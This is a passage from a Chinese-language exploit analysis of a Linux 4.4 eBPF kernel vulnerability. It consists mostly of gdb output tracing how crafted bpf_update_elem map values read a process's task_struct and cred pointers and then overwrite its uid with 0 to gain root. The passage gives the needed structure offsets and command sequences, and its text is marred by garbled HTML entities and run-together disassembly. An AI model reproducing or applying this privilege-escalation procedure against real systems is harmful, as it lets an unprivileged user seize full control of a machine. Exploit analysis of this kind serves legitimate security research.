(gdb) x/10i $rip-200xffffffff811778a4 <__bpf_prog_run&＃43;3604>: mov rcx,QWORD PTR [rbp&＃43;rcx*8-0x270]0xffffffff811778ac <__bpf_prog_run&＃43;3612>: mov rax,QWORD PTR [rbp&＃43;rax*8-0x270]0xffffffff811778b4 <__bpf_prog_run&＃43;3620>: mov QWORD PTR [rcx&＃43;rdx*1],rax
&＃61;> 0xffffffff811778b8 <__bpf_prog_run&＃43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&＃43;80>0xffffffff811778bd <__bpf_prog_run&＃43;3629>: movzx eax,BYTE PTR [rbx&＃43;0x1]0xffffffff811778c1 <__bpf_prog_run&＃43;3633>: movsx rdx,WORD PTR [rbx&＃43;0x2]0xffffffff811778c6 <__bpf_prog_run&＃43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&＃43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&＃43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&＃43;3649>: mov rax,QWORD PTR [rbp&＃43;rax*8-0x270]
(gdb) i r $rax
rax 0xffff880074343c00 -131939445752832
(gdb) x/10x 0xffff8800758c0000
0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000
0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff
0xffff8800758c0020: 0x00000000 0x00000000
(gdb)

其中rax的值即为指向task_struct的指针&＃xff0c;可以看到和current结构体的第一个成员的值是一致的&＃xff0c;都是0xffff880074343c00。

得到task_struct地址之后&＃xff0c;加上cred的偏移CRED_OFFSET&＃61;0x5f8&＃xff08;由于内核版本不通或者内核的编译选项不同&＃xff0c;都可能导致cred在task_struct中的偏移不同&＃xff09;&＃xff0c;组装读取指令取读取指向cred结构体的指针地址&＃xff1a;

bpf_update_elem(0, 2);

bpf_update_elem(1, 0xffff880074343c00&＃43;0x5f8);

bpf_update_elem(2, 0);

过程如下&＃xff1a;

(gdb) x/10i $rip
&＃61;> 0xffffffff811778b8 <__bpf_prog_run&＃43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&＃43;80>0xffffffff811778bd <__bpf_prog_run&＃43;3629>: movzx eax,BYTE PTR [rbx&＃43;0x1]0xffffffff811778c1 <__bpf_prog_run&＃43;3633>: movsx rdx,WORD PTR [rbx&＃43;0x2]0xffffffff811778c6 <__bpf_prog_run&＃43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&＃43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&＃43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&＃43;3649>: mov rax,QWORD PTR [rbp&＃43;rax*8-0x270]0xffffffff811778d9 <__bpf_prog_run&＃43;3657>: mov QWORD PTR [rax&＃43;rdx*1],rcx0xffffffff811778dd <__bpf_prog_run&＃43;3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run&＃43;80>0xffffffff811778e2 <__bpf_prog_run&＃43;3666>: lfence
(gdb) i r $rax
rax 0xffff880074cb5e00 -131939435848192
(gdb) p (struct task_struct *)0xffff880074343c00
$15 &＃61; (struct task_struct *) 0xffff880074343c00
(gdb) p ((struct task_struct *)0xffff880074343c00)->cred
$16 &＃61; (const struct cred *) 0xffff880074cb5e00
(gdb) p &((struct task_struct *)0xffff880074343c00)->cred
$17 &＃61; (const struct cred **) 0xffff8800743441f8
(gdb) x/10x 0xffff880074343c00&＃43;0x5f8
0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00
0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000
0xffff880074344218: 0x00000000 0x00000000
(gdb)

上图中rax的值0xffff880074cb5e00即为从task_struct中读取到的指向cred的指针。

cred的地址得到了&＃xff0c;再加上uid在cred中的偏移&＃xff08;固定为4&＃xff09;便得到了uid的地址0xffff880074cb5e04&＃xff0c;然后构造写数据的map指令&＃xff1a;

bpf_update_elem(0, 2);

bpf_update_elem(1, 0xffff880074cb5e04);

bpf_update_elem(2, 0);

过程如下&＃xff08;由于第一次运行exp的时候&＃xff0c;这里没断下来&＃xff0c;所以下面的过程是第二次运行的过程&＃xff0c;中间一些结构体的地址发生了稍微的变化&＃xff09;&＃xff1a;

(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$38 &＃61; {val &＃61; 1000} //此时uid还是1000
(gdb) ni
0xffffffff811778ac 856 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$39 &＃61; {val &＃61; 1000}
(gdb) ni
0xffffffff811778b4 856 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$40 &＃61; {val &＃61; 1000}
(gdb) ni
Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx&＃61;0xffff8800746c9d80, insn&＃61;0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856
856 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$41 &＃61; {val &＃61; 0} //此时uid已经变为0
(gdb) x/10i $rip-120xffffffff811778ac <__bpf_prog_run&＃43;3612>: mov rax,QWORD PTR [rbp&＃43;rax*8-0x270]0xffffffff811778b4 <__bpf_prog_run&＃43;3620>: mov QWORD PTR [rcx&＃43;rdx*1],rax //就是这里改变了uid的值
&＃61;> 0xffffffff811778b8 <__bpf_prog_run&＃43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&＃43;80>0xffffffff811778bd <__bpf_prog_run&＃43;3629>: movzx eax,BYTE PTR [rbx&＃43;0x1]0xffffffff811778c1 <__bpf_prog_run&＃43;3633>: movsx rdx,WORD PTR [rbx&＃43;0x2]0xffffffff811778c6 <__bpf_prog_run&＃43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&＃43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&＃43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&＃43;3649>: mov rax,QWORD PTR [rbp&＃43;rax*8-0x270]0xffffffff811778d9 <__bpf_prog_run&＃43;3657>: mov QWORD PTR [rax&＃43;rdx*1],rcx
(gdb) x/1l ($rcx&＃43;$rdx*1) //$rcx&＃43;$rdx*1的值0xffff880075b7ca84即为uid的地址
0xffff880075b7ca84: Undefined output format "l".
(gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid
$43 &＃61; (kuid_t *) 0xffff880075b7ca84
(gdb) i r $rax //此时rax为我们需要些到uid地址的值0
rax 0x0 0
(gdb)